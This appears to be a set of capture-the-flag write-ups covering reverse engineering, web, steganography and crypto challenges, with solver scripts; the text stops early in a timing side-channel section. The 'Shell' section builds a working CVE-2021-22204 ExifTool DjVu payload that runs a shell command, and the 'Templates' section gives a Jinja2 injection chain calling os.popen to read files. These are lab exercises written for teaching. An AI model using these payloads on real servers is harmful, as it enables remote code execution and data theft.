The pharaoh's tomb holds ancient secrets. Only those who speak the old tongue may enter. Two files provided: `tomb_guardian` (ELF binary) and `sacred_chamber.7z` (password-protected archive).

#### Solution

**Stage 1: Cracking the Tomb Guardian**

The `tomb_guardian` binary is a custom stack-based VM with anti-debugging (ptrace check). It reads 11 characters from stdin, XORs each with a key byte, and compares to expected values. If all pass, it prints a message containing the password for the 7z archive.

Extracted the bytecode from the ELF data section and decoded the input validation:

```python
import struct

with open('attachments/tomb_guardian', 'rb') as f:
    f.seek(0x3020)
    prog_len = struct.unpack('<I', f.read(4))[0]
    f.seek(0x3040)
    bytecode = f.read(prog_len)

# Each check: GETCHAR, PUSH_IMM xor_key, XOR, PUSH_IMM expected, CMP_EQ, JZ fail
# char ^ xor_key == expected => char = xor_key ^ expected
password = []
i = 0
while i < len(bytecode):
    if bytecode[i] == 0x40 and bytecode[i+1] == 0x01 and bytecode[i+3] == 0x12 and bytecode[i+4] == 0x01:
        xor_key = bytecode[i+2]
        expected = bytecode[i+5]
        password.append(chr(xor_key ^ expected))
        i += 10
        continue
    i += 1

print(''.join(password))  # 0p3n_s3s4m3
```

Password: `0p3n_s3s4m3`. Running the binary reveals the 7z password: `Kh3ops_Pyr4m1d`.

The output message also encodes characters as ADD pairs (`PUSH a, PUSH b, ADD, PUTCHAR`), printing the decrypted result.

**Stage 2: The Hieroglyphic VM**

Extracting `sacred_chamber.7z` yields `hiero_vm` (a Rust-based interpreter) and `challenge.hiero` (a program written in Unicode hieroglyphics).

The hieroglyphic instruction set:

| Glyph  | Operation                           |
| ------ | ----------------------------------- |
| 𓋴     | Read input char                     |
| 𓁹 X   | Load memory\[X]                     |
| 𓐍     | Store to memory                     |
| 𓑀     | Push to stack                       |
| 𓃭     | ADD top two stack values (mod 256)  |
| 𓈖     | Compare equal                       |
| 𓉐 X Y | Jump to handler if comparison fails |
| 𓌳     | Print success                       |
| 𓍯     | Halt                                |

The program reads 27 characters into memory slots 0-26, then checks 24 constraints: 19 adjacent-pair additions (`mem[i] + mem[i+1] == expected`) for indices 6-25, plus 5 cross-pair checks for validation.

```python
# Constraints extracted from challenge.hiero
# Cuneiform operand value = codepoint - 0x12000
adjacent = [  # (i, i+1, expected_sum)
    (6,7,0xD8), (7,8,0x9C), (8,9,0xA6), (9,10,0xA6), (10,11,0x64),
    (11,12,0x98), (12,13,0xC7), (13,14,0xD5), (14,15,0xE3), (15,16,0xCC),
    (16,17,0x90), (17,18,0x9F), (18,19,0xD1), (19,20,0x96), (20,21,0xA3),
    (21,22,0xE4), (22,23,0xA5), (23,24,0x61), (24,25,0x9E),
]
cross = [(6,10,0xA4), (8,15,0xA1), (12,20,0x9B), (15,23,0x9E), (7,18,0xD6)]

# Flag format: 0xfun{<20 chars>}
# Known: indices 0-4 = "0xfun", 5 = '{', 26 = '}'
# Brute-force index 6, chain the rest via adjacent sums
for c6 in range(0x20, 0x7F):
    vals = {6: c6}
    for i, j, s in adjacent:
        if i in vals:
            vals[j] = (s - vals[i]) & 0xFF
    # Verify cross-checks
    if all((vals[i] + vals[j]) & 0xFF == s for i, j, s in cross):
        flag_inner = ''.join(chr(vals[i]) for i in range(6, 26))
        if all(0x20 <= vals[i] < 0x7F for i in range(6, 26)):
            print(f"0xfun{{{flag_inner}}}")
```

This yields the flag: `0xfun{ph4r40h_vm_1nc3pt10n}`

Flag: `0xfun{ph4r40h_vm_1nc3pt10n}`

### Liminal

#### Description

A 750-point reverse engineering challenge. Given a stripped x86-64 ELF binary that uses Spectre-RSB cache side channels to implement a Substitution-Permutation Network (SPN) cipher. The binary takes a 64-bit hex input and produces a 64-bit hex output. Goal: find the input that produces `0x4C494D494E414C21` (ASCII "LIMINAL!").

#### Solution

The binary implements an 8-round SPN cipher where each S-box lookup is performed through a speculative execution side channel (Spectre-RSB + Flush+Reload). It requires specific CPU cache timing behavior to run natively, but the cipher parameters can be extracted statically from the binary's data section.

**Binary structure:**

1. **Calibration** (0x406298): Tests if the CPU supports the required cache timing side channel by running 100 Flush+Reload trials
2. **Compute function** (0x405b37): Runs the SPN cipher 50 times with majority voting for noise resilience
3. **64 bit functions** (0x401681+): Each implements one output bit of an S-box via cache side channel

**Cipher parameters extracted from the binary:**

* **8 round keys** at virtual address 0x42f2c0 (64-bit little-endian)
* **64 S-box lookup tables** at 0x40f280 (8 S-boxes × 8 bits, 256 entries × 8 bytes each, 0x800 spacing). Values encode output bits: `0x340` → bit=1, `0x100` → bit=0
* **64-byte permutation table** at 0x42f280

**Cipher algorithm:**

```
for round 0..7:
    state ^= round_key[round]
    state = apply_sboxes(state)      # 8 independent byte substitutions
    if round < 7:
        state = apply_permutation(state)  # 64-bit bit permutation
return state
```

**Side channel mechanism:** Each bit function uses a Spectre-RSB gadget:

1. Flushes two probe cache lines (r8, r9)
2. Calls a training function that pushes a fake return address and `clflush`es it from the stack
3. The CPU's Return Stack Buffer mispredicts the return target, speculatively executing the lookup table read and buffer access
4. Timing measurement via `rdtscp` determines which probe was loaded: `cmp %r10, %r11; setb %al`

**Solving:** Invert the cipher - undo each round in reverse (inverse permutation, inverse S-box, XOR key).

**Verification:** Patched the binary to replace the side-channel bit functions with direct table lookups (`test $0x200, %rax; setnz %al`) and confirmed `compute(0x4c8e40be1e97f544) = 0x4c494d494e414c21`.

**Flag:** `0xfun{0x4c8e40be1e97f544}`

```python
#!/usr/bin/env python3
"""Solver for liminal - extracts SPN cipher from binary and inverts it."""
import struct, os

BINARY_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "attachments", "liminal")

def solve():
    with open(BINARY_PATH, "rb") as f:
        data = f.read()

    def v2f(vaddr):
        return vaddr - 0x40a000 + 0x9000

    # Round keys (8 x 64-bit LE at 0x42f2c0)
    round_keys = [struct.unpack_from("<Q", data, v2f(0x42f2c0) + i*8)[0] for i in range(8)]

    # Permutation table (64 bytes at 0x42f280)
    perm_table = list(data[v2f(0x42f280):v2f(0x42f280)+64])

    # S-boxes: 8 sboxes × 8 bits, tables at 0x40f280 with 0x800 stride
    # 0x340 → bit=1, 0x100 → bit=0
    sboxes = []
    for sbox_idx in range(8):
        sbox = [0] * 256
        for bit_idx in range(8):
            tbl = v2f(0x40f280) + (sbox_idx * 8 + bit_idx) * 0x800
            for inp in range(256):
                if struct.unpack_from("<Q", data, tbl + inp*8)[0] == 0x340:
                    sbox[inp] |= (1 << bit_idx)
        sboxes.append(sbox)

    # Inverse S-boxes
    inv_sboxes = []
    for sbox in sboxes:
        inv = [0] * 256
        for i, v in enumerate(sbox):
            inv[v] = i
        inv_sboxes.append(inv)

    def apply_sbox(val, sb):
        r = 0
        for b in range(8):
            r |= sb[b][(val >> (b*8)) & 0xFF] << (b*8)
        return r

    def apply_inv_perm(val, perm):
        r = 0
        for i in range(64):
            if val & (1 << i):
                r |= (1 << perm[i])
        return r

    # Decrypt: undo 8 rounds in reverse
    target = 0x4C494D494E414C21
    state = target
    for r in range(7, -1, -1):
        if r < 7:
            state = apply_inv_perm(state, perm_table)
        state = apply_sbox(state, inv_sboxes)
        state ^= round_keys[r]

    print(f"Input: 0x{state:016x}")
    print(f"Flag: 0xfun{{0x{state:016x}}}")
    return state

if __name__ == "__main__":
    solve()
```

### Unravel Me

#### Description

A stripped 32-bit ELF crackme binary that checks a flag argument. The hint says "Tools will fail you. Creativity will save you." — the binary is compiled with the M/o/Vfuscator, converting all computation into `mov` instructions with signal handlers for control flow.

#### Solution

**Identifying the obfuscation:** The binary is \~5.8MB with a massive `.data` section (5.7MB of lookup tables). Disassembly reveals almost exclusively `mov` instructions with only two `cmp` instructions in the entire `.text` section. Signal handlers for SIGSEGV (branching) and SIGILL (control flow) confirm this is a M/o/Vfuscator binary.

**Binary structure:**

* SIGSEGV handler at `0x8049040` — implements conditional branching
* SIGILL handler at `0x80490c7` — handles other control flow
* Lookup tables at `0x8066f30` (addition), `0x81a7a80` (XOR), `0x8197570` (AND), `0x81fbb70` (identity/zero-extend)
* Three working "registers" at `0x8053040`, `0x8053044`, `0x805304c`

**Flag extraction approach:**

1. First `cmp` at `0x8049689` checks `argc == 2` (need exactly one argument)
2. Second `cmp` at `0x80515ac` checks accumulated XOR result == 0 (all characters match)

The flag is checked character-by-character. For each position, the expected character is XORed with the input character using the table at `0x81a7a80`. Results are ANDed together — if any mismatch, the final result is non-zero → "Wrong!".

**Extracting expected characters:** Grepping all `movl $immediate` instructions revealed 27 of 42 expected characters as direct immediates in the code:

```python
# Extract all movl $imm,addr from disassembly
# Pattern: movl $0xHH, 0x8053040/44/4c
# ASCII values (0x20-0x7e) = expected characters
# Small sequential values (0x00-0x2a) = position indices

# Immediates found directly:
# '0','x','f','u','n','{','r','3','v','_','O','b','U','4','C','t','1',
# 'm','S','2','6','3','5','8','7','6','}'
```

The remaining 15 characters (at positions 12, 16, 19-21, 23, 25-36) were loaded via multi-level pointer dereferences through the movfuscator's virtual stack rather than immediate values. These were extracted using GDB breakpoints at the XOR comparison points to read register values at runtime.

**Final flag:** `0xfun{r3v_ObfU4C3t10n_m4St3r_246643635876}`

(Leet-speak for "reverse Obfuscation master" + numeric suffix)

### Only Moves

#### Description

The challenge provides a 32-bit Linux ELF that was compiled with a “MOV-only” obfuscation (movfuscator-style). It prompts for a flag and prints either `Wrong!` or `Correct! You got the flag!`.

#### Solution

This binary computes a deterministic 28-byte transform of the input into an internal buffer at `0x8600158..0x8600173`, then compares that buffer byte-by-byte against a 28-byte constant stored at the start of `.data` (VA `0x8057010`), immediately before the `Correct!` string.

Key observations used to solve it:

* The expected 28 bytes are embedded in the file at the beginning of `.data`:
  * `.data` VA `0x8057010` is file offset `0x00f010` (`readelf -S attachments/only_moves`).
  * Expected bytes (hex): `b03cc34d9ca2aedfeab449e4c81719a0c66bf21dd586ca9bd22a5d0d`.
* The check stops at the first mismatch, and changing later input bytes does not affect earlier output bytes. In particular, output index `i` is first influenced by input index `(i ^ 1)` (adjacent swap), so we can solve bytes incrementally without breaking previously-matched output.

Approach:

1. Extract the expected 28 bytes from the binary.
2. Use GDB to dump the transformed 28-byte buffer right before the result `printf` call.
3. Fill a 28-byte candidate with the known frame `0xfun{...}` and brute-force one byte at a time:
   * For output position `i`, brute-force input position `(i ^ 1)` until the transformed output prefix `out[:i+1]` matches the expected prefix.
4. Verify by running the original binary and confirming it prints `Correct!`.

Recovered flag: `0xfun{m0v_1s_tur1ng_c0mpl3t}`

Code used (GDB dumper + solver):

```gdb
set pagination off
set confirm off
set debuginfod enabled off

# Original binary uses SIGILL/SIGSEGV for control flow; don't stop on them.
handle SIGSEGV nostop noprint pass
handle SIGILL nostop noprint pass

# Break on printf@plt and, if it's printing either Wrong!/Correct! message,
# dump the transformed 28-byte buffer.
break *0x08049030
commands
  silent
  set $arg = *(unsigned int*)($esp+4)
  if ($arg == 0x08057048 || $arg == 0x0805702c)
    dump binary memory tmp_out.bin 0x8600158 0x8600174
    quit
  end
  continue
end

run < tmp_in.bin
```

```python
#!/usr/bin/env python3
from __future__ import annotations

import subprocess
from pathlib import Path


HERE = Path(__file__).resolve().parent

ORIG_BIN = HERE / "attachments" / "only_moves"
FAST_BIN = HERE / "demov_patched"  # optional (faster), if present

GDB_SCRIPT = HERE / "dump_finalbuf_generic.gdb"
TMP_IN = HERE / "tmp_in.bin"
TMP_OUT = HERE / "tmp_out.bin"

OUT_BUF_LEN = 28

# From `readelf -S attachments/only_moves`:
DATA_VA = 0x08057010
DATA_OFF = 0x00F010
EXPECTED_VA = 0x08057010  # first 28 bytes of .data


def read_expected() -> bytes:
    """
    The binary compares the transformed 28-byte buffer against a constant stored
    at the start of .data (VA 0x8057010).
    """
    with ORIG_BIN.open("rb") as f:
        f.seek(DATA_OFF + (EXPECTED_VA - DATA_VA))
        exp = f.read(OUT_BUF_LEN)
        if len(exp) != OUT_BUF_LEN:
            raise RuntimeError("failed to read expected bytes")
        tail = f.read(32)
        if b"Correct!" not in tail:
            raise RuntimeError("sanity check failed: expected 'Correct!' near expected bytes")
        return exp


def dump_transformed(buf: bytes) -> bytes:
    if len(buf) != OUT_BUF_LEN:
        raise ValueError("input must be 28 bytes")
    # scanf("%s") stops on whitespace; don't accidentally truncate.
    if any(b in b"\t\n\v\f\r " for b in buf):
        raise ValueError("input contains whitespace; scanf would truncate it")

    TMP_IN.write_bytes(buf + b"\n")
    try:
        TMP_OUT.unlink()
    except FileNotFoundError:
        pass

    bin_path = FAST_BIN if FAST_BIN.exists() else ORIG_BIN
    subprocess.run(
        ["gdb", "-q", "-x", str(GDB_SCRIPT), "--args", str(bin_path)],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        check=True,
    )

    out = TMP_OUT.read_bytes()
    if len(out) != OUT_BUF_LEN:
        raise RuntimeError(f"unexpected dump size: {len(out)}")
    return out


def main() -> None:
    expected = read_expected()
    print(f"[*] expected = {expected.hex()}")

    candidate = bytearray(b"A" * OUT_BUF_LEN)
    candidate[0:6] = b"0xfun{"
    candidate[-1] = ord("}")

    allowed = (
        b"abcdefghijklmnopqrstuvwxyz"
        b"0123456789"
        b"_"  # typical CTF flag charset
    )
    fallback = bytes([c for c in range(0x21, 0x7F) if c not in b" \t\r\n\v\f"])

    fixed = {0, 1, 2, 3, 4, 5, 27}

    for out_idx in range(OUT_BUF_LEN):
        in_idx = out_idx ^ 1
        want = expected[out_idx]

        if in_idx in fixed:
            out = dump_transformed(bytes(candidate))
            got = out[out_idx]
            if got != want:
                raise SystemExit(
                    f"[-] fixed byte mismatch at out[{out_idx}] (in[{in_idx}] fixed): "
                    f"got=0x{got:02x} want=0x{want:02x}"
                )
            continue

        solved = False
        for charset in (allowed, fallback):
            for c in charset:
                candidate[in_idx] = c
                out = dump_transformed(bytes(candidate))
                if out[: out_idx + 1] == expected[: out_idx + 1]:
                    print(f"[+] solved in[{in_idx}] = {chr(c)!r} (out[{out_idx}]=0x{want:02x})")
                    solved = True
                    fixed.add(in_idx)
                    break
            if solved:
                break

        if not solved:
            raise SystemExit(f"[-] failed to solve byte in[{in_idx}] for out[{out_idx}]")

    flag = bytes(candidate)
    print(f"[+] flag = {flag.decode('ascii')}")

    p = subprocess.run(
        [str(ORIG_BIN)],
        input=flag + b"\n",
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        check=False,
    )
    out = (p.stdout + p.stderr).decode("latin-1", errors="replace")
    if "Correct!" not in out:
        raise SystemExit("[-] verification failed")


if __name__ == "__main__":
    main()
```

***

## warmup

### JScrew

#### Description

WarmUp challenge (50 pts). A web container serves a page with obfuscated JavaScript ("compacted JS code"). The page title says "JScrew" and shows "Status: loading flag from cold storage..." but the flag is hidden inside multiple layers of JS obfuscation. Dev tools are blocked by anti-debugging measures.

#### Solution

The page contains two layers of JavaScript obfuscation:

1. **AAEncode** (outer layer) - Japanese-style JS encoding using Unicode characters like `ﾟωﾟﾉ`, `ﾟДﾟ`, etc. This encodes JavaScript using only non-ASCII emoticon-like characters.
2. **JJEncode** (inner layer) - Another JS encoding that uses `$=~[];` as its starting pattern, building strings character by character through type coercion.

**Step 1: Decode AAEncode**

The AAEncode ultimately calls `Function` via `"".constructor.constructor` (the constructor chain). By overriding `Function.prototype.constructor` before the script runs, we intercept the decoded code instead of executing it:

```html
<script>
Object.defineProperty(Function.prototype, 'constructor', {
    get: function() {
        return function() {
            var body = arguments[arguments.length - 1];
            window.__decoded.push(body);
            return function() { return body; };
        };
    },
    configurable: true
});
</script>
```

This reveals anti-dev-tools code (blocking F12, right-click, console, etc.) followed by a JJEncode payload.

**Step 2: Decode JJEncode**

Applying the same `Function.prototype.constructor` interception to the JJEncode portion reveals the final payload:

```javascript
(() => {
    "9ad2ccdfc4d1c699ccdef5c9dfd8c6d3f5c8d8cbc9cff5c9c5c7c7cbf5d89bcdc2def5c9dfd8c6d3f5c8d89ec9cfd7";
    alert('aaaaaaaaaa so much 0xfun');
})();
```

The hex string `9ad2ccdfc4d1c699ccdef5c9dfd8c6d3f5c8d8cbc9cff5c9c5c7c7cbf5d89bcdc2def5c9dfd8c6d3f5c8d89ec9cfd7` is the encoded flag.

**Step 3: Decode the hex string**

The first byte `0x9a` XOR'd with `0x30` (ASCII `0`, the first char of `0xfun{...}`) gives key `0xAA`. XORing every byte with `0xAA` decodes the flag:

```python
hex_str = "9ad2ccdfc4d1c699ccdef5c9dfd8c6d3f5c8d8cbc9cff5c9c5c7c7cbf5d89bcdc2def5c9dfd8c6d3f5c8d89ec9cfd7"
raw = bytes.fromhex(hex_str)
flag = bytes([b ^ 0xAA for b in raw]).decode()
print(flag)  # 0xfun{l3ft_curly_brace_comma_r1ght_curly_br4ce}
```

**Flag:** `0xfun{l3ft_curly_brace_comma_r1ght_curly_br4ce}`

### Shell

#### Description

A web app lets you upload images to inspect their EXIF metadata using ExifTool. The goal is to achieve command execution and read `flag.txt`. Only image uploads are allowed.

#### Solution

The server runs **ExifTool 12.16**, which is vulnerable to **CVE-2021-22204** — arbitrary code execution via crafted DjVu file annotations. ExifTool's `DjVu.pm` module uses Perl's `eval` to parse DjVu annotation chunks (ANTa), allowing injection of arbitrary Perl code.

The exploit creates a minimal DjVu image file with a malicious ANTa annotation chunk containing a Perl `system()` call that reads the flag:

```python
import struct

# Perl payload exploiting CVE-2021-22204 - eval'd by ExifTool's DjVu parser
perl_payload = '(metadata "\\c${system(\'cat /flag.txt\')}")'

# Minimal DjVu INFO chunk (width=1, height=1)
info_data = struct.pack('>HHBBHBB', 1, 1, 0, 26, 300, 22, 1)

# ANTa chunk with malicious annotation
anta_data = perl_payload.encode()

# Build DJVU FORM
chunks = b''
chunks += b'INFO' + struct.pack('>I', len(info_data)) + info_data
if len(info_data) % 2:
    chunks += b'\x00'
chunks += b'ANTa' + struct.pack('>I', len(anta_data)) + anta_data
if len(anta_data) % 2:
    chunks += b'\x00'

# DjVu file header
form_data = b'DJVU' + chunks
djvu_file = b'AT&T' + b'FORM' + struct.pack('>I', len(form_data)) + form_data

with open('exploit.djvu', 'wb') as f:
    f.write(djvu_file)
```

Upload the crafted DjVu file:

```bash
curl -s -F "file=@exploit.djvu" "http://chall.0xfun.org:34035/"
```

The flag appears in the ExifTool output before the normal metadata, as the `system()` call writes directly to stdout during parsing.

**Flag:** `0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}`

### TLSB

#### Description

A BMP image file is provided. The challenge introduces "Third Least Significant Bit" (TLSB) steganography - instead of hiding data in the LSB (bit 0) of each byte, data is hidden in the 3rd least significant bit (bit 2).

#### Solution

The file is a 16x16 24-bit BMP image. We extract bit 2 (`(byte >> 2) & 1`) from each byte of the raw pixel data (starting after the 54-byte BMP header), concatenate the bits, and convert to bytes. This reveals a base64-encoded flag.

```python
with open("attachments/TLSB", "rb") as f:
    data = f.read()

pixel_data = data[54:]  # Skip BMP header

bits = []
for byte in pixel_data:
    bits.append(str((byte >> 2) & 1))

bitstring = "".join(bits)
raw = bytearray()
for i in range(0, len(bitstring) - 7, 8):
    raw.append(int(bitstring[i:i+8], 2))

print(raw.decode("ascii", errors="replace"))
# Hope you had fun :). The Flag is: `MHhmdW57VGg0dDVfbjB0X0wzNDV0X1MxZ24xZjFjNG50X2IxdF81dDNnfQ==`

import base64
print(base64.b64decode("MHhmdW57VGg0dDVfbjB0X0wzNDV0X1MxZ24xZjFjNG50X2IxdF81dDNnfQ==").decode())
# 0xfun{Th4t5_n0t_L345t_S1gn1f1c4nt_b1t_5t3g}
```

**Flag:** `0xfun{Th4t5_n0t_L345t_S1gn1f1c4nt_b1t_5t3g}`

### Templates

#### Description

A simple greeting service using Server Side Rendering. Users enter their name and the server renders a greeting. The challenge hints at SSTI (Server-Side Template Injection).

#### Solution

The service takes a `name` parameter via POST and renders it directly in a Jinja2 template without sanitization.

**1. Confirm SSTI:**

```bash
curl -s 'http://chall.0xfun.org:39864/' -d 'name={{7*7}}'
# Output: 49
```

**2. Identify the template engine** (Jinja2 confirmed via `{{self}}`):

```bash
curl -s 'http://chall.0xfun.org:39864/' --data-urlencode 'name={{self}}'
# Output: <TemplateReference None>
```

**3. Enumerate Python subclasses to find `os._wrap_close`:**

```bash
curl -s 'http://chall.0xfun.org:39864/' --data-urlencode \
  'name={{"".__class__.__mro__[1].__subclasses__()}}' | python3 -c "
import html, sys, re
text = html.unescape(sys.stdin.read())
matches = re.findall(r\"<class '([^']+)'>\", text)
for i, m in enumerate(matches):
    if 'wrap_close' in m:
        print(f'{i}: {m}')
"
# Output: 141: os._wrap_close
```

**4. Exploit via `os.popen` from `os._wrap_close.__init__.__globals__`:**

```bash
curl -s 'http://chall.0xfun.org:39864/' --data-urlencode \
  'name={{"".__class__.__mro__[1].__subclasses__()[141].__init__.__globals__["popen"]("cat flag*").read()}}'
```

**Flag:** `0xfun{Server_Side_Template_Injection_Awesome}`

### UART

#### Description

A strange transmission has been recorded. We're given a `uart.sr` file (Sigrok logic analyzer capture) containing a single-channel UART recording.

#### Solution

The `.sr` file is a zip archive containing Sigrok capture metadata and raw logic data. From the metadata:

* 1 channel (`uart.ch1`)
* 1 MHz sample rate
* `unitsize=1` (each byte = one sample)

Analyzing pulse widths reveals a minimum of \~8.68 samples per bit, corresponding to **115200 baud**. The signal is standard **8N1 UART** (idle high, start bit low, 8 data bits LSB-first, stop bit high).

Decoding the signal yields the flag directly.

```python
data = open('attachments/uart.sr.extracted/logic-1-1', 'rb').read()
# Alternative: unzip uart.sr to get logic-1-1
import zipfile
with zipfile.ZipFile('attachments/uart.sr') as z:
    data = z.read('logic-1-1')

samples = list(data)
samples.extend([1] * 20)  # pad with idle state

bit_period = 1000000.0 / 115200  # ~8.68 samples/bit

decoded = []
i = 0
while i < len(samples) - 1:
    # Detect falling edge (start bit)
    if samples[i] == 1 and samples[i + 1] == 0:
        start = i + 1
        mid_start = int(start + bit_period * 0.5)
        if mid_start < len(samples) and samples[mid_start] == 0:
            byte_val = 0
            for bit in range(8):
                sample_pos = int(start + bit_period * (bit + 1.5))
                if sample_pos < len(samples):
                    byte_val |= (samples[sample_pos] << bit)
            decoded.append(byte_val)
            i = int(start + bit_period * 9)
            continue
    i += 1

print(bytes(decoded).decode('ascii'))
# 0xfun{UART_82_M2_B392n9dn2}
```

**Flag:** `0xfun{UART_82_M2_B392n9dn2}`

### Perceptions

#### Description

A blog is hosted at the challenge URL. The description hints at a "neat backend" and that the server "uses fewer ports."

#### Solution

**Step 1: Enumerate the blog**

Visiting the web server reveals a blog with several pages, a `/name` endpoint returning `Charlie`, and a `links.js` file listing all page paths.

**Step 2: Find credentials**

The "Secret Post" page (`4C6Y4NEBVLATCF6EX5PA2ISZ/page.html`) contains an HTML comment with credentials:

```html
<!-- Use my name and 'UlLOPNeEak9rFfmL' to log in -->
```

Combined with the `/name` endpoint returning `Charlie`, the credentials are `Charlie:UlLOPNeEak9rFfmL`.

**Step 3: SSH on the same port**

The blog mentions "fewer ports" and "generic Linux remote access stuff" — hinting that SSH runs on the same port as HTTP. The server uses protocol multiplexing (the "Perceptions" server) to distinguish HTTP from SSH connections.

```bash
sshpass -p 'UlLOPNeEak9rFfmL' ssh -p 65226 Charlie@chall.0xfun.org
```

**Step 4: Navigate the custom shell**

The SSH session drops into a custom restricted shell. Listing files shows a `secret_flag_333` directory:

```bash
ls
cd secret_flag_333
ls
cat flag.txt
```

The `flag.txt` file contains ASCII art and the flag.

**Flag:** `0xfun{p3rsp3c71v3.15.k3y}`

### Delicious Looking Problem

#### Description

A discrete logarithm problem using 42-bit safe primes. The challenge encrypts a flag with AES-ECB using a key derived from `os.urandom(len(flag))`. The same key (as an integer) is used as the secret exponent in 8 DLP instances, each with a different 42-bit safe prime. The AES key is `SHA256(key_bytes)`.

#### Solution

Since the primes are only 42 bits, discrete logarithms are easily computable. Each sample gives us `h = g^x mod p` where `x = bytes_to_long(key)` and `p = 2q + 1` is a safe prime.

**Step 1: Compute discrete logs.** For each of the 8 samples, compute `x mod (p-1)` using standard discrete log algorithms (trivial for 42-bit primes).

**Step 2: CRT recovery.** Since `p-1 = 2q` where `q` is prime, extract `x mod q` from each sample. The `q` values are distinct primes, so CRT gives `x mod product(q_1...q_8)`. Combined with `x mod 2` (all discrete logs were odd), we get `x mod (2 * product(q_i))`, a \~325-bit modulus.

**Step 3: Brute force remaining bits.** The key is `os.urandom(len(flag))` where the flag is 43 bytes (determined by the 48-byte ciphertext with PKCS7 padding). A 43-byte key is \~344 bits, exceeding our 325-bit modulus. This leaves \~19 bits of uncertainty, meaning \~10^6 candidates to try. For each candidate `x = x_base + k * modulus`, compute `SHA256(long_to_bytes(x))`, decrypt with AES-ECB, and check for valid padding and the flag prefix `0xfun{`.

```python
from sympy.ntheory import discrete_log
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

samples = [
    (227293414901, 1559214942312, 3513364021163),
    (2108076514529, 1231299005176, 2627609083643),
    (1752240335858, 1138499826278, 2917520243087),
    (1564551923739, 283918762399, 2602533803279),
    (1809320390770, 700655135118, 2431482961679),
    (1662077312271, 354214090383, 2820691962743),
    (474213905602, 1149389382916, 3525049671887),
    (2013522313912, 2559608094485, 2679851241659),
]
ct_hex = '175a6f682303e313e7cae01f4579702ae6885644d46c15747c39b85e5a1fab667d2be070d383268d23a6387a4b3ec791'

# Step 1 & 2: Compute discrete logs and CRT on q values
residues_q, moduli_q = [], []
for g, h, p in samples:
    q = (p - 1) // 2
    x_full = discrete_log(p, h, g)
    residues_q.append(x_full % q)
    moduli_q.append(q)

def crt_pair(r1, m1, r2, m2):
    m1_inv = pow(int(m1), -1, int(m2))
    x = r1 + m1 * ((r2 - r1) * m1_inv % m2)
    return x % (m1 * m2), m1 * m2

r, m = residues_q[0], moduli_q[0]
for i in range(1, len(residues_q)):
    r, m = crt_pair(r, m, residues_q[i], moduli_q[i])

# All discrete logs were odd, so x is odd
x_base = r if r % 2 == 1 else r + m
mod = 2 * m

# Step 3: Brute force remaining bits for 43-byte key
ct = bytes.fromhex(ct_hex)
key_len = 43
max_val, min_val = 256 ** key_len, 256 ** (key_len - 1)
for k in range((max_val // mod) + 2):
    x = x_base + k * mod
    if x >= max_val: break
    if x < min_val: continue
    key = long_to_bytes(x)
    if len(key) != key_len: continue
    cipher = AES.new(hashlib.sha256(key).digest(), AES.MODE_ECB)
    try:
        flag = unpad(cipher.decrypt(ct), 16)
        if flag.startswith(b'0xfun{'):
            print(f"Flag: {flag.decode()}")
            break
    except:
        pass
```

**Flag:** `0xfun{pls_d0nt_hur7_my_b4by(DLP)_AI_kun!:3}`

### Guess The Seed

#### Description

The binary is a stripped ELF that, on startup, calls:

* `time(NULL)`
* `srand(seed)`
* `rand()` five times

It asks for 5 space-separated guesses and validates each one as `rand() % 1000` against the generated values.

#### Solution

I used `objdump` to confirm the control flow: `time` and `srand` are called before any prompt, then five `rand` calls, then each user value is reduced with `% 1000` before comparison.

Because the seed is time-based, we can predict the sequence by reproducing libc’s `rand()` for nearby epoch values and feed candidate guesses to the binary until a matching seed is found.

```python
import ctypes
import subprocess
import time

libc = ctypes.CDLL('libc.so.6')
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

BIN = 'attachments/guess_the_seed'

def guesses_from_seed(seed: int):
    libc.srand(seed & 0xFFFFFFFF)
    return [str(libc.rand() % 1000) for _ in range(5)]

def run_seed(seed: int) -> str:
    inp = ' '.join(guesses_from_seed(seed)).encode()
    proc = subprocess.run([BIN], input=inp, stdout=subprocess.PIPE)
    return proc.stdout.decode(errors='ignore')

base = int(time.time())
for delta in range(-5, 6):
    seed = base + delta
    out = run_seed(seed)
    if '0xfun{' in out:
        print(out)
        break
```

I found a valid run and the binary printed:

`0xfun{W3l1_7h4t_w4S_Fun_4235328752619125}`

### Leonine Misbegotten

#### Description

Given `attachments/output` produced by 16 rounds of random encoding with a checksum, recover the flag.

`chall.py` does:

* start with `flag.encode()`
* repeat 16 times:
  * compute `checksum = sha1(current).digest()`
  * choose one of `[base16, base32, base64, base85]`
  * set `current = encoded(current) + checksum`
* write final `current` to `output`

#### Solution

`output` ends each round with 20 bytes of SHA-1. Going backwards, at each step:

1. split blob as `body | digest` where `digest` is last 20 bytes
2. try each of the 4 decoders on `body`
3. keep only decodings where `sha1(decoded) == digest`
4. recurse 16 times

This quickly collapses to one printable candidate, the flag.

```python
import base64
import hashlib
from functools import lru_cache

SCHEMES = [
    base64.b16decode,
    base64.b32decode,
    base64.b64decode,
    base64.b85decode,
]

with open('attachments/output', 'rb') as f:
    data = f.read()

ROUNDS = 16
CHECKSUM = 20


def is_printable_ascii(b: bytes) -> bool:
    return all(9 <= x <= 126 for x in b)


@lru_cache(maxsize=None)
def recover(rounds_left: int, blob: bytes):
    if rounds_left == 0:
        return {blob}
    if len(blob) < CHECKSUM:
        return set()

    encoded, digest = blob[:-CHECKSUM], blob[-CHECKSUM:]
    out = set()

    for dec in SCHEMES:
        try:
            prev = dec(encoded)
        except Exception:
            continue
        if hashlib.sha1(prev).digest() != digest:
            continue
        out.update(recover(rounds_left - 1, prev))

    return out


results = recover(ROUNDS, data)

for i, cand in enumerate(results, 1):
    text = cand.decode(errors='ignore') if is_printable_ascii(cand) else repr(cand)
    print(i, text)
```

Recovered flag: `0xfun{p33l1ng_l4y3rs_l1k3_an_0n10n}`

### Schrödinger's Sandbox

#### Description

Code runs in two parallel "universes" - one with the real flag, one with a fake. Output is only shown if both universes produce identical output (status "match"). Otherwise, the output is hidden (status "diverged"). The server returns `time_a` and `time_b` - the execution time for each universe.

#### Solution

Since printing the flag directly causes divergence (different flags = different output), we use a **timing side-channel** combined with an **output divergence oracle** to leak the flag character by character via binary search.

**Key observations:**

1. Both flags share the same format prefix `0xfun{`, suffix `}`, and length (41).
